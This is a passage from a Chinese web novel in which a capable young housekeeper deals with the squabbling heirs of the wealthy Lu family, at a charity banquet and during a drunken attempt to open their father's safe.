乔梧笑笑:“可能是某人后槽牙咬碎的声音。” 陆宣偶像包袱重,也从来不掩饰自己背景雄厚,所以也没人敢舞到他面前去。 但陆家这些少爷小姐被人顺毛惯了,才会变得肆无忌惮,现在乔梧回来自然不会惯着他们这种臭毛病。 被这么嘲笑,陆宣脸都是绿的。 事情不太对。 他在原地站了两秒,转头踢开病房门,皱着眉靠在门口:“老头,你是不是立遗嘱了没带上我?” 如果不是老头剥夺了他的遗产继承权,乔梧怎么会突然对他这么刻薄? 病房里安静了一瞬,紧接着传来陆江惊天动地的怒吼声:“给你爹滚!!!” 病房门一声巨响,应该是什么东西砸在了上面,逼得陆宣往后退了几步:“精神很好啊,哪里病了?一直都是这种很颠的状态好吧。” 还得是陆江有先见之明,一直候在外面的医生这下子终于等到机会跑进去了,边跑边喊。 “您别动气别动气。” 乔梧将病房门重新带上,无奈回头:“你那张嘴是借来的着急还?少说两句有利息?” “怪我?” “难道怪我?”乔梧疑惑,“你什么时候连真话都听不进去了?” 陆宣盯着她看了好一会儿,还是觉得哪里不对,忽而抬手摘下了她鼻梁上的眼镜。 乔梧下意识眯了下眼睛,眉梢轻抬起小小的弧度,表示不解。 镜片下的浅瞳映着医院白色的灯光,清疏明亮,像是瞬间能看进别人的心底,带着一种惊人的熟悉感。 陆宣的手顿在半空,心猛地跳了一下,重重将眼镜又给她挂回去,退开半步。 他跟乔梧认识了二十二年,连小时候喝奶的奶瓶都是成双成对的。 家里都是男孩子,脾气都很硬,只有小乔梧香香软软,几个哥哥顾不上他,他一个人的时候只有小乔梧会来他身边跟着他一起去上学。 那时候总是坐在他身边的小姑娘听不懂老师的课,就喜欢用这种眼神看着他。 但人心瞬息万变,更别提过了十多年。 他心思刹那间百转千回。 乔梧知道陆宣喜欢胡思乱想,当初陆家大少爷还在的时候,陆家几兄弟关系还行。 但自从大少爷意外过世,一夜之间陆家乱成一锅粥,有个逞强的老先生,还有个年轻的陆尽之要担起所有的责任,才进入青春期的陆宣自然就没人管了,导致他敏感得很,不爱说话又不会倾诉。 那时候的乔梧为了减轻父亲的负担,整天在几个少爷小姐身边晃悠,做他们的移动充电宝。 所以这会儿乔梧也没给他太多思考的时间,将眼镜重新扶正后,牵着陆柠走到他面前:“我不放心陆柠一个人回家,有什么事我们回家说?” “乔梧。”陆宣觉得很好笑,“什么时候我在你心里变成第二顺位了?” 陆柠顿时警惕。 第二?难道以前是第一?! 所以乔梧不仅跟陆应池关系匪浅,居然跟陆宣还有不可说的交易?! 等会儿,这事儿陆应池知道吗? 她表情裂开,一时顾不上许多:“你不是说我才是你的第一顺位吗!” 陆宣语气顿时变得危险:“你说什么?” “……” 这到底有什么好争的,乔梧有点头疼,哄道,“你们并列第一。” “谁要跟他并列!” 异口同声。 陆宣没了跟一个小屁孩争宠的耐心,抓住乔梧的另一只手腕,下了最后通牒:“要么现在跟我走,要么以后别来找我?嗯?” 还嗯? 你觉得你很霸道总裁吗? 乔梧根本没有思考:“松开。” 陆宣一愣,手都失去了力道任由乔梧挣开,他看着自己空荡荡的手掌,缓慢地笑了一下。 过去的乔梧为什么整天都说要做他最忠诚的狗腿,陆宣再清楚不过。 钱么,他有的是。 养只狗腿子又不是养不起。 但现在他的狗腿好像不忠心了。 唯一站在他身边的人,哪怕这人是虚情假意,此时也没了。 “算了,我不喜欢三心二意的人。”陆宣笑着说,“既然你拒绝,那我再找个能养熟的就行。” 乔梧动了动手腕,反手将他装逼的墨镜拿了下来,毫不留情打碎这人的偶像滤镜:“你这样说话真的不帅,也是真的很油腻。” 眼前突然一空的陆宣:“?” 乔梧将他的墨镜勾住他脖子上用来装饰的项链,往前一拽,跟拉狗狗项圈似的:“走吧,都多久没回家了,你这两天没行程。” 陆宣被她这前无仅有,又大胆无礼的行为震得下意识跟着往前走,好半天才反应过来:“你扯狗绳呢!” 有听到动静的人朝这边看过来,陆宣只好快速做好表情管理,半掩在乔梧身后上了车。 见他飞速上车关门一气呵成,恨不得把自己埋进椅子里,乔梧失笑:“其实你还没那么红。” 陆宣拳头梆硬。 看人终于老实了,乔梧一边开车一边问:“说吧,什么事?” 陆宣的确没行程,但是他私人行程多,都是些投资人想要拉拢他,顺便他看中什么资源也可以自己下手。 但他才辞退了上一个经纪人,公司让他休假两天,等下一个上任再给他安排工作,所以今晚的应酬没人陪他去。 想着乔梧回国了就打算让她顶上,虽然她智商不高眼光不好还很势力,可至少可以给他端茶送水什么的。 只是陆宣后悔了,他觉得现在的乔梧倒像是会让他去端茶送水。 “不需要了。”他懒声说。 乔梧点点头,却没多问:“行。” 明明这是陆宣想要的结果,可他心里怎么都不得劲,干脆戴上墨镜小憩,眼不见心不烦。 再次睁眼是被人推醒的,陆宣看着熟悉的车库怔了一下。 他居然睡过去了,在一个讨厌的人的车上。 要知道他就算是在只有自己一个人的酒店,晚上也需要吃褪黑素才能勉强入睡。 以为他还没睡醒,乔梧温声道:“回去睡?” 陆宣缓缓扭头,乔梧那张脸在暖黄的灯光下显现出一种惊人的温柔。 他下意识摸了摸墨镜。 还戴在脸上,不然他不敢想象自己现在会是什么控制不住的表情。 一定很傻逼。 陆宣解开安全带,一言不发地摔门走人。 陆宅还是原来的样子,养了那么多佣人,但实际上一点人气都没有。 陆宣轻嗤,让他回这样的家有什么意义。 不过吃饭的时候倒是发现餐厅多了一个智能机器人,他以为是用来上菜的,没怎么在意,直到乔梧站在机器人前朝他招手。 “干什么?” “我新买的玩具,要试试吗?”乔梧戴好设备笑吟吟地说,“陆柠和陆应池都说好玩。” 觉得气氛尴尬,只顾着埋头干饭的陆柠:“?” 想到自己跟陆应池挨的那巴掌,她咽下嘴里的东西,坚定的点了点头。 陆宣:“……” 陆应池跟陆柠在一起玩游戏? 画面太美,他不敢想。 什么东西魅力这么大。 他承认自己好奇了,所以他走上前戴上了另一个设备。 没等他搞明白这是干嘛的,就听对面的乔梧温吞吞问:“你想让我跟你一起出去吗?” 陆宣毫不犹豫:“不想。” “回答错误!” 啪! 他穿得薄,机器人打在屁股上的声音清脆又响亮。 陆柠听得又爽又觉得屁股疼。 可惜了没录下来,不然明天她就能早起了。 陆宣被打得条件反射蹦起来,奈何手上还戴着设备,根本挣不脱。 他脸上表情失控,惊魂未定:“什么东西!” “改装过的测谎仪。”乔梧笑着靠倒在墙上,“当初一看就觉得很适合你们,现在一看,果然。” 陆宣耳根红透,一股脑将那些东西从手上拆下去,咬牙切齿:“乔、梧,你被解雇了!” “抱歉,现在只有老先生能解雇我。”见他真的生气了,乔梧莞尔顺毛,“我的回答你不听吗?” 陆宣不知道她跟老头有什么协议合同,脑瓜子气得嗡嗡响:“你去不去关我什么事!” “但你想我去。”乔梧在他开口之前接着回答,“我想跟你去。” “回答正确!” 机器人的声音直接截断了陆宣的怒火,他直勾勾盯着乔梧,想要从她的脸上找到一丝过去的谄媚和讨好。 没有,一点都没有。 “陆宣,你带我一起上学吧。” “我为什么要带你去上学?” “因为我想跟你去。” 陆宣脑海里有根弦狠狠地动了,他将那些乱七八糟的东西扔下,饭都没怎么吃就走了:“随便你。” 话是这么说,但到了要出门的时候陆宣却没叫上她。 他换了身衣服来到停车场,司机将车门打开时,他见乔梧已经坐在车里了,正垂眸看着手中的平板,应该是在工作。 不怪他觉得乔梧整了容,出国两年她审美都好了很多,哪怕是穿简装也喜欢在身上加一些特殊的点缀。 不规则领的白色无袖衬衫露出锁骨,修长的脖颈上戴着项链连缀,腰间搭着条细细的玫瑰腰链,正式又精致。 陆宣不动声色收回视线:“知道要去哪吗你就跟着。” 听见声音,乔梧抬头轻笑:“无所谓。” 其实她知道,剧情里的陆宣带她参加了这次酒会,有个人介绍了个新人给他,喝了酒后的陆宣被“乔梧”一怂恿,直接把那个新人强行带回家了。 那个新人就是之前的女主,叫什么来着? 噢,廖廖。 乔梧无声弯唇。 陆宣看着她的表情,奇怪的感觉涌上来,明明已经不是第一顺位了,但他却觉得现在的自己在乔梧心里比以前更重要。 他沉默着上车,扫见乔梧的平板上居然是自己的行程表和工作安排。 “你看这些干什么?” 乔梧已经收回了视线,平板上的光映在她的眼镜上:“公司不是要给你换经纪人?我在给你挑合适的。” “你还知道什么合适我?” 乔梧嗯了声:“至少对方不能由着你挑以前那种烂剧本,也不能由着你整天不好好上课。” 虽然说逐梦娱乐圈,但陆宣半路出家又不好好上表演课,公司为了讨好他后来安排的经纪人也是个只会拍马屁的,没什么用,所以剧情里他到最后都只有黑粉。 想到这里,她回头又看了一眼陆宣。 “干什么?” “没什么。”乔梧认真看着他这张无暇的脸,“我很期待你逐梦成功站在领奖台上的样子。” 司机将车开出车库,车里的灯也被关掉了,陆宣眼前却一直浮现乔梧方才专注的表情,她好像真的由衷相信他能够成功。 他唇角轻轻扬了扬,全然忘了自己是怎么被牵着脖子回家怎么被打屁股的。 算了,懒得跟陆柠那个小矮子计较。 这次是某个明星以个人名义举办的私人慈善酒会,会拍卖一些私人珍藏,来的人也五花八门。 乔梧不在受邀之列,只能跟其他艺人的助理坐在后面的椅子上,不过她拿回身体主导权后,对任何事情都有参与的兴趣,所以看中的一些小玩意也不介意多花点钱拍下来。 渐渐的,好些主位的人都在往她的方向瞟,跟周围的人比起来,她安静出尘,自成一片天地。 有些人看见她是跟陆宣一起进来的,不由好奇问:“陆老师,跟您一起来的人是谁啊?” 陆宣喝着酒,随口道:“助理。” 他并不觉得乔梧有那个本事能管好陆家。 颜值这么高的助理?愣是超过了这会场里所有的女艺人。 “您的助理……还挺有底气的哈?拍了挺多东西。” 陆宣不用二手的东西,所以兴致不高,根本没在意拍了些什么,点头也很敷衍。 老管家在陆家很多年,积蓄不少,所以乔梧是很有家底的。 可这落在其他人眼里就不一样了,一个助理哪能挣这么多钱,而且还长得这么漂亮,身上穿的都是奢侈高定。 一时之间大家的眼神就变得有丝丝意味深长。 拍卖会结束的酒会可以自由一些时,乔梧已经收获了不少。 “这个给你。”她将其中一个盒子递给陆宣。 百无聊赖陷在沙发里的陆宣意外扬眉:“给我?” “再次相遇的见面礼。” 乔梧心道:隔了十多年呢,挺长时间了。 这说辞给陆宣气笑了:“回国一个多星期,面是没见的,见面礼是当着我的面现买的,还是个二手货?” “真不要?”乔梧将那个盒子打开,里面是闪闪发光的一枚星星袖扣,“程天王的。” 陆宣眸色倏忽一颤,终于正眼看向那枚袖扣。 程天王是个著名影星,也是他小时候的偶像,只是英年早逝,陆宣书柜里有他的每一部电影影片,这也是他想要进娱乐圈的初衷。 他今天被乔梧的奇怪刺激得有些心神不宁,居然没注意到拍了这个东西。 乔梧,还记得? 他心情不错地将盒子接过去:“你的小金库不少啊。” 又想起什么似的,看着她手上另外那些盒子:“这里面也有给别人的见面礼?” “当然。” “……” 陆宣很想把手里的盒子砸她脸上,又舍不得。 他往旁边挪了挪,决定远离这个朝三暮四的女人,气死了! 见状周围那些早就盯上陆宣的人就围了上来。 陆宣包袱重不爱主动,但他在圈内一直很高调,知道他有钱有势自然而然都会贴上来。 “陆老师好久不见,这次有为您量身定制的新剧本要不要看一看?” “陆老师,我这部剧一定爆,您要是喜欢我们可以在里面给您加个角色!” “陆老师…… 乔梧听到这个称呼,好笑地看了陆宣一眼。 演个霸总烂剧,就成老师了? 莫名的,陆宣读懂了她眼中的调侃。 他抬起手隔空虚虚点在她的眉心,无声启唇:“不知规矩。” 接着又跟其他人说话去了。 乔梧安静坐在旁边替他筛选那些乱七八糟的剧本,她知晓成年人的世界逃不过应酬,所以在合理的范围内她不会阻止。 哪里想到被捧得飘飘然的陆宣来者不拒,等她再抬头时,他已经脖子红透,醉眼朦胧地抱着装袖扣的盒子窝在了沙发里。 还有人在源源不断过来:“陆老师,我带了个很有潜力的新人过来,您要不要认识一下?以后万一有机会合作呢?发什么呆,快给陆老师敬酒。” 廖廖忙从看到漂亮姐姐的震惊中回神,举起酒杯:“陆老师您好,我叫廖廖,请多多指教。” 听到熟悉的名字,乔梧视线挪过去。 廖廖是个艺术学院的新生,见过的人和经历的事都比较少,眼界有限,所以总被一些心怀不轨的人欺骗。 上次游艇是,这次酒会也是。 丝毫不知道自己被当做货物供人挑选。 那人的手已经碰到了廖廖的背,只等着陆宣拿酒顺手推人了。 乔梧敛眸,见喝蒙了的陆宣抬手去接,收起剧本平静地喊了声:“陆宣。” 陆宣接酒的指尖一曲,撩起眼:“嗯?” 乔梧的手覆在他的小臂上,轻轻按下。 陆宣视线落在手臂上,记忆深处的那个乔梧在这瞬间占满了他的整个大脑,扰得他思绪更加混沌。 见陆宣老实了,乔梧又喊:“廖廖?” “是我姐姐!” “回头。” 出于信任,廖廖下意识回头,却看见了身后那只蠢蠢欲动的手,她脸色骤变:“王老师?” 王然深吸一口气,状似自然地将手收了回去:“我只是怕你摔倒。” 乔梧不轻不重地笑了声,在场的人却都听得清楚,都是人精,谁能不知道这人打的是什么主意。 廖廖背后惊起一身冷汗。 上次这个姐姐这么笑的时候,硬生生按着陆家四少,把整整一瓶酒都灌了下去,陆应池甚至不敢对她发火。 乔梧似乎没有察觉到气氛的异常,声音依旧温和:“还喝吗?” 她点到为止,没把别人的场子闹得太难看:“不过陆老师喝多了,先让他缓一缓,这杯酒我替他喝怎么样?也算是认识了。” 被打断了计划的王然心里一股气发不出来,他才听人说这个女人是陆宣带来的“助理”,长成这样能是什么助理,分明就是个暖床的,还坏他的好事! 而且他觉得陆宣身边有这样的美人,未必能看上廖廖,所以故意为难离间:“陆老师,您这个助理挺威风啊,花你的钱拍东西,现在还能代替你做主喝你的酒了?” 乔梧耐心有限,她弯了弯眼睛。 “看来你不仅手长,能伸到别人腰上,眼睛也长,能看到我卡上的钱是谁的。”她靠着沙发淡声道,“可惜了,陆宣还不够资格给我发工资,我花自己的钱他还真管不着。” 周围的人顿时惊呆,这人到底什么身份,陆宣在她眼里居然都不够格?! 乔梧踢了下陆宣的脚尖:“你觉得呢?” 这败家子进娱乐圈就没挣到几个子儿,哪来的钱给她发工资。 原本她只是希望陆宣点个头,却没想到这人肩膀抖了抖。 乔梧表情一顿,坏了。 她刚要伸手,可手腕却被人一把拉住。 陆宣眼泪滴在她的手背上,微微发烫。 “为什么不花我的钱,我有钱。”陆宣声音越来越低,他凑到乔梧耳边委屈啜泣,“你等着,我晚上就去撬老头保险柜改遗嘱。” 乔梧:“……” 怎么哭包的毛病还没改! 看来是真醉了,她叹了口气,将这人脑袋按在自己肩膀上,免得被人看笑话:“憋回去。” 陆宣霎那间安静如鸡。 这一幕看得所有人眼睛都要掉了。 怎么回事,不是个金丝雀助理吗? 怎么看着还像是陆宣倒贴人家都不要呢。 而且两人坐在一起后,大家莫名觉得陆宣还真没法压住对方的气场。 这人什么来头! 王然没听到陆宣后面说了什么,但他见这情形心里有点虚了,听人要走了马上凑上来,讨好道:“陆老师,这位女士喝也很好的!” 陆宣好不容易才等到自己的小梧,现在被人打断就很窝火。 他一脚踹开那个凑近的人:“滚!” 王然不设防,一屁股怼在地上脑子发蒙:“陆老师?” 靠在乔梧肩头的陆宣脚尖踩着王然的肩膀,偏头露出侧脸,凌乱的额发半掩着眸,虚睨着不识相的狗东西,声音染着沉怒和酒意。 “她不喜欢。” 说完意识到什么,他自己低下头闻了一下,眼泪当场就要掉下来,低声说。 “我也很臭。” 乔梧忍住没去看周围人的表情。 11、第十一章 陆宣彻底醉懵,王然也没有脸继续待在这里,甚至连廖廖都没管就慌张离开。 靠在肩上的陆宣哼哼唧唧也不知道在说什么,担心他一会儿上车不舒服,乔梧先找服务生要了一杯蜂蜜水。 圈内熟知陆宣性格的人,知道他喝醉以后是最好摆布的,只要哄一哄就投钱,这才有那么多人想灌罪他。 只是现在哪怕人醉了,其余却没一个人敢上前,全然因为陆宣身边那个“助理”。 因为肩上挂着一只“大狗”,她便姿态闲适地靠在沙发上,一边翻看手中的平板,嘴上时不时敷衍一下黏糊的陆宣,一举一动优雅又气势逼人,矜贵又难以靠近,好像她才是这里的主角。 有些人再想上前,可只要对方轻飘飘撩来一眼,脚步顿时就走不动了。 好像那人是他们无法拿捏企及的人似的。 乔梧不在意周围的人用什么眼光看她,在等蜂蜜水的期间继续给陆宣挑合适的经纪人。 廖廖一直站在原地,她毫不遮掩地将沙发上的人看了很久,但可惜对方似乎并不在意,也没有再注意到过她,可她却莫名有种强烈的妄想,想让自己在对方眼里有一席之地,有那么一点存在感。 “姐姐。” 乔梧微微颔首:“嗯?” “谢谢。”廖廖轻声说。 她每次狼狈都是这个姐姐替她解的围,她很感激。 “嗯。” 廖廖试探着说:“上次的衣服我洗好了,送去干洗的。” 那件衣服早就被乔梧忘得一干二净,她见惯了戴各种面具的人,所以廖廖眼里的忐忑也被她尽收眼底。 她笑了笑:“怎么?” 廖廖被眼前人唇角的笑意晃花了眼,她初入社会,从来没见过这么光芒万丈的人,也是她想要成为的人。 哪怕上次已经被拒绝过了,她也鼓足勇气:“我可以留您一个电话吗?想请您吃饭,没有其他目的,就是单纯想跟您认识!” 乔梧有些意外。 说实话她对廖廖印象并不深,毕竟比廖廖优秀的、漂亮的、有钱的,她见过太多了,所谓的女主在她眼里并不成立。 但有勇气的人她一向欣赏。 到了现在她才真正意义地去在意眼前这个女孩,确实干净,说话不拐弯抹角。 在乔梧屈指可数的自由生命里,除开陆家这些人,她并没有其他亲密的关系,所以遇到不讨厌的人,她不介意发展。 她拿出手机:“乔梧。” 廖廖眼睛一下就亮了,忙跑上前加上联系方式,把自己名字发过去:“乔、乔姐姐!” 见她在屏幕打上乔梧姐姐四个字,乔梧眉眼弯弯,笑道:“不要把幸存者偏差用在自己身上,不是每一次都会有人在你需要的时候出现,只有自己才值得相信。” 廖廖不是笨蛋,知道这是在提点她,红着脸点头:“我以后一定会小心的。” 点到为止,乔梧也没再多说。 见有人跟乔梧说上了话,有些胆子大一点的人也悄悄凑了上来,却没有一个人敢递酒,但凡谁身上酒味重一点,那个不省人事的陆老师就像装了酒精测试仪一样,闭着眼睛就把你踹出去,凶得要死。 乔梧也没有在这里待太久,等陆宣状态好一点了就带着人先回了家,吩咐人把陆宣带上楼,自己则打算去听听佣人汇报家里今天的情况,顺便把第二天要注意的大小事给安排了再回别墅去。 她才走到一楼的连廊,就感觉被什么东西给盯上了。 赤果果的。 一扭头,正正对上一大张马脸。 紧接着是一双紧实的长腿。 “哟,回来了。” 陆应池逆着光骑在高大的黑马上,桀骜的五官挂着阴阳怪气的笑容。 乔梧抬手顺了顺那匹马的鬃毛,无奈:“谁让你在花园里骑马了?” 陆宅占地广,有自己的马场,自然也有自己的马厩。 陆应池这匹弗里斯马是他五岁时讨要来的生日礼物,到现在也有十三岁了,已经长得高高大大,毛发被养得光亮,很是雄壮漂亮。 陆应池很小心眼地将马脑袋挪开:“别碰我的公主!” 也不知道他为什么那么执着要叫一匹公马公主。 “幼不幼稚。”乔梧指着院门,“把公主带回去,别逼我亲自动手。” 花园有专门的园丁打理,很多花都很珍贵,主要是贵。 “你管我那么多。”陆应池骑着马慢悠悠围着她绕圈,冷笑,“管一个陆宣还不够?” 据乔梧所知,陆宣已经很久没回来了,今天面都没见着,怎么跟这小少爷起的矛盾。 她纳闷:“陆宣怎么你了?” “别以为我不知道,我出去喝酒你把酒浇我一身,他喝酒你把人扶回来还送醒酒汤。”陆应池越说越气,微微俯身,恨不得让公主踹她一脚,“还巴巴地想跟他一起出门,你把老子当什么了!” 乔梧愣了一下。 看她的反应陆应池就知道自己猜对了,从小陆宣就欺负他年纪小跟他抢乔梧,做作业都不带上他。 还说什么对他最忠心,那都是狗屁! 难怪对他那么凶,又动刀又动鬼的。 对陆宣就哄得那么上心,他可都看见了! 她明明知道他最讨厌就是陆宣。 陆应池想让公主从她的脸上踩过去,但最后还是忍住了,冷声道:“乔梧,你从今以后别想再管老子!老子再听你一句话就是狗!” 明天他就把晨铃拆了,修一次他拆一次!把放在门口的钥匙也藏起来。 啊啊啊啊啊! 亏他以前还巴巴把自己藏钥匙的地方偷偷告诉她! 这个负心的女人!要遭天打雷劈的! 乔梧被他一句一个老子吵得头大,这两兄弟还挺有默契,都在纠结这所谓的第一顺位。 她叹了口气:“少说脏话,看看陆柠跟你都学了些什么。” “哦,我忘了,还有一个陆柠。” 玛德,更气了! 乔梧失笑:“没把你当什么。” “行,演都不演了。”陆应池咬牙切齿,“还不把我当回事。” “……我是说,你是家人。” 公主被气到变形的陆应池发狠地揪了一下,鬃毛差点被揪下来:“不知道乔管家您家里几口人呢?” 察觉公主吃痛不安躁动,陆应池收回手劲,抬着下巴倨傲道:“反正我也不关心,你也别太把自己当回事,我根本就懒得在意你究竟跟谁关系好,我只是不喜欢被人欺骗。” “没骗你。”乔梧将手里的一个盒子递给他,“看,给你带的礼物。” 陆应池要走的动作倏忽停下,垂眸看下:“老子稀罕。” “行。”乔梧不惯他这嘴硬的毛病,收回手,“那我给陆宣。” “回来!”陆应池立刻翻身下马抢过她手里的盒子,“给我的就是给我的!我丢了都不给他!” 乔梧:“败家玩意儿,轻点!” 轻是不可能轻的,生怕这东西落到陆宣手里,陆应池很快就打开,看清里面是什么时目光停滞。 盒子里是一款包装完好的限量款镶钻手办。 这东西怎么可能是送给陆宣的,陆宣那狗东西没有这么识货! 他猛地扭过头,幽深的目光直直盯着乔梧,像是要把她看透。 后者笑盈盈地靠在花园柱上:“行了,扔了吧。” “……” 陆应池把盒子小心盖上,“要你说,我会找地方扔。” 他抱着盒子转身牵马:“公主,我们走!” 才走出去没几步,两人头顶忽然响起了震天的警报,守在各个角落的保安瞬间倾巢而动,朝着主宅奔去。 乔梧瞬间直起身,离她几步远的公主被警报器声音吓到,一下挣开陆应池抬起前蹄。 陆应池飞速反应过来,扯住缰绳往前一拽,但身形愣是被甩出九十度。 他正要偏过身上马,可由于手里有东西慢了半拍,眼前骤然闪过一道影子。 乔梧干净利落翻身上马,将他手中的缰绳扯过去,身体前倾紧紧贴住公主,将公主失控的方向拽了回来,一点点拉小圈。 就在这时,警报声忽然停了。 等公主稳定下来,乔梧才低下头,呼吸有点重,连带着声音都发沉:“没事?” 两人的位置对调,陆应池才发现自己刚才是怎么俯视她的。 带着种令人心惊胆战的高高在上,以及逼人的压迫感。 “嗯。”他迟钝地眨了下眼,别过眼神:“去看看。” 乔梧叫来一个保安看住公主,跟陆应池匆匆走进主宅。 这么多年来陆宅还没出现过这种情况,此时家里灯火通明,楼下也聚集了很多保安,陆柠也被吓醒,抱着娃娃坐在沙发上呆呆愣愣的,显然是还没反应过来。 乔梧和陆应池过来后,正好保安队长下了电梯,他从人群里挤出来,表情有些复杂:“小乔管家,四少爷,你们来得正好!” “怎么回事?”乔梧问。 “是那个……”保安队长犹犹豫豫,望天又望地,“三少爷他……进了老爷的书房。” 乔梧:“?” 陆应池:“???” “三少爷不让人碰他。”保安队长吞吞吐吐,“书房里贵重物品多,担心他砸坏东西,我们也不敢轻举妄动,所以就让一些人先下来了,情况特殊,我还没通知老爷,要不您二位先上去看看?” 乔梧心里忽然有种不祥的预感,她快速上了电梯,按下陆江那一层。 陆应池和陆柠在最后一刻挤进来,两人眼里闪着诡异的光。 哈,陆宣闯祸了。 这热闹谁错过谁傻逼! “我就说他不是个好人。”陆应池趁机上眼药,“喝点逼酒就飘了,一点都不稳重。” 哪像他,喝酒都是自己安安静静的喝。 乔梧听出来了他的幸灾乐祸:“你稳重,一群喊不出名字的人一晚上能喝你几百万的酒。” 陆应池的脸一下子垮下来:“你在为了他凶我?乔梧你搞搞清楚,现在闯祸的不是我!” 说到这儿,他想起什么来,打电话给楼下的佣人:“去酒库拿瓶酒上来。” 顿了顿,又补充:“拿最便宜的。” 挂了电话,他目光锁住乔梧,阴恻恻道:“你最好一视同仁,不然老子亲自灌他酒。” 乔梧:“幼稚。” 最顶层都是陆江的房间,书房独立开来,转个弯就能看见。 几人赶过去的时候,保安们正把陆宣围成一圈,束手无策。 见乔梧和陆应池来了,他们让出一条路来,露出坐在地毯上还在对着保险柜“埋头苦解”的陆宣。 乔梧额心微跳:“陆宣。” 听见声音的陆宣抬起头,他衣服都没换,深蓝色的衬衫半开半解,发型也变得凌乱,他眼神朦胧做了个嘘的手势:“老头的密码我还没想起来。” “……” 果然。 陆应池不知道其中的关窍,冲上前揪住他的衣领,把他拎起来,怒气冲冲:“逆子!你开老头保险柜干什么?” 走过去时还不忘记把手里的礼物盒子放远一点。 陆宣眯了下眼,应该是在分辨眼前的人是谁。 发现是陆应池后,他轻啧一声,啪的一下将他的手打开,皱眉问:“你分了多少?” “什么?” “老头遗嘱你分了多少?” 遗嘱? 陆应池茫然:“他立遗嘱了?” 这么大的事没通知他?! 难怪今天早上把陆柠单独带过去了! 陆应池深吸一口气,绕到陆宣身后熟练蹲下身:“你试过多少密码了,老头生日试了吗?老妈生日呢?” “你也没分到?”陆宣震惊。 “我踏马哪里知道!” 陆柠手里拿着正在录音的手机,她原本是计划把陆宣闯祸的音频录下来替代她说“谢谢”那个晨铃的,没想到还能录到这个。 她也很摸不着头脑地抬头望向乔梧:“我只是睡了一觉,外面是不是发生了什么不得了的事情。” 乔梧捏住她的嘴:“好了,快别说了。” 要是老先生在这儿,估计真的会被气撅过去。 她看着撅着屁股在保险柜前面奋斗的两头猪,恨铁不成钢地从后面一头踹了一脚,冷声呵斥:“把爪子松开!” 两人动作齐齐一僵。 “给你们一分钟把这里恢复原样。”她按着两人的肩,一字一句,“然后下楼。” 三分钟后,陆应池和陆宣坐在沙发上,乔梧双手环抱站在他们身前,陆柠坐在另一头偷偷举着手机录像,生怕错过这么精彩的场面。 佣人已经拿来醒酒药给陆宣吃了,连带陆应池都清醒了很多,十分心虚的低着头。 乔梧让其他人散了,免得这两少爷醒来后丢脸。 “他醉了你也醉了?”她横了一眼陆应池,“一起胡闹。” 陆应池也是一时上头,这会儿底气不足小声哔哔:“那我哪里知道……” 从来没见过有人醉了就去开保险箱,这么刑的爱好。 乔梧:“明天去给你爸道歉。” 陆应池立刻摇头:“不去!” “陆应池。”乔梧眼睫下扫,眸光淡淡,“你长这么大还没学会什么叫担当吗?只会逞一时之快?别说老先生有没有立遗嘱,哪怕他立了,以你现在的态度,他就算不留你的份,你有什么资格质疑?” 陆应池背脊一僵。 “你肆无忌惮去撬保险箱还能不顾他的感受,你在仗着什么?” 整个厅里安静得落针可闻,陆柠都悄悄放下了手机。 陆应池很久没吭声,因为他从来没认真想过这个问题。 乔梧知道他过去是被“有心人”误导太久了,没人去引导他,所以语气放缓:“现在能听话了吗?” 陆应池指尖轻轻动了动。 “嗯。” 严肃的氛围里,只有一个人格格不入。 陆宣读不懂气氛,只觉得为什么小梧说了这么多话还没轮到自己。 他主动争取机会,埋头拿出手机拨通好几年都没打过的电话,心道:道歉谁不会啊,你等着,我现在就给老头打电话! 大半夜,陆江从梦中被吵醒,一看来电人是陆宣就毫不犹豫挂掉了电话,摸摸心脏:“做噩梦了。” 隔了一会儿,电话又再次响起,他终于清醒了一点,点击接通。 还没等他说话,电话那头的陆宣便扬声自豪道:“老头,我刚才把你保险柜撬了!对不起昂!” 陆江:“……” 还不如做噩梦!!! 防不胜防的乔梧:“……” 12、第十二章 英国。 “陆总,您看会议还要继续安排在今天吗?”总裁办公室里的秘书小心忐忑地问椅子上的男人。 男人穿着墨绿暗纹衬衫,身形高大挺拔,哪怕头发并没有刻意定型也难掩上位者从骨子里透出来的疏离,只是他黑眸中时常挟着淡淡的温柔笑意,把所有令人忌惮的压迫都掩在其中,琢磨不住。 只有在他身边的人才知道这样的老板有多难伺候,多难猜。 25岁来到英国,仅仅两年就以雷霆手段在这金融中心获得独属于自己的一席之地,谁敢小瞧他。 今天陆总忽然推迟会议,坐在办公室里看了半个小时的电脑屏幕,表情始终都没变过。 重要的是,陆总点了根烟,这让秘书有种风雨欲来的感觉,大气都不敢出。 就在秘书汗都要滴下来的时候,终于听到男人平缓冷淡的声音。 “十分钟。” 秘书如蒙大赦:“好的,我马上去办!” 顿了顿,又说:“陆总,您上次让我跟国内联系辞掉新管家的事,老陆总那边的意思是暂时不同意,您看看呢?” 陆尽之凤眼轻垂,如果没记错,父亲过去并不是很喜欢她。 那道漆黑的视线再次落到屏幕上。 他手机上装有陆宅总警报系统预警提醒,以便发生重大事故时能第一时间知道,所以今晚收到提醒后他就让国内的人同步了监控。 主宅鸡飞狗跳那一幕也被他尽收眼底。 画面很陌生,陌生到仿佛是别人家的监控,他花了半个小时反复观看才确定自己并没有出现幻觉。 是那个家因为某个人,忽然变了。 陆尽之将一口没抽的烟掐灭,看着明暗的火星道:“不急。” 他唇边漫着很淡的笑意:“太久没回国,有些人印象也浅了。” - 乔梧第二天来到陆宅时,只有陆柠一个人下来了。 其实因为家里每个人的日程安排不一样,乔梧已经没有再按全屋晨铃,而是让人上门修改了一下程序,可以单独接通每一个房间。 她坐在旁边翻看资料,随口闲聊:“这两天不用上学,怎么起这么早?” “噢。”陆柠作息都被调规律了,主要是她只要想到今天早上起来能看到清醒后的陆应池和陆宣的反应,她就睡不着。 她抱着牛奶装作很不经意地挪到乔梧身边,发现对方在看剧本项目筹划资料,跟这一行有关的只有陆宣。 想到自己昨晚收到的礼物,陆柠还是忍住了没发火,靠着沙发背嘟嘟囔囔:“你不是管家么,陆宣的工作你也管?” “嗯。” “以前乔爷爷没管这些。” 但是看乔梧最近这架势,倒更像是爷爷身边那些助理秘书,不,比那些还要全面。 “如果只需要管你们的衣食住行,多找几个细心的保姆就行。”乔梧指尖飞速在屏幕上划着,可一点也不影响她说话的语速和条理清晰,“还不至于惊动我。” “我虽然学习不行,但惊动这个词用在你身上是不是有点贬义了?” 听了这话,乔梧终于抬起头来,她轻笑:“你是不是对我的能力有什么误解?” 陆氏的管家跟普通有钱人的管家不一样,需要能文能武。 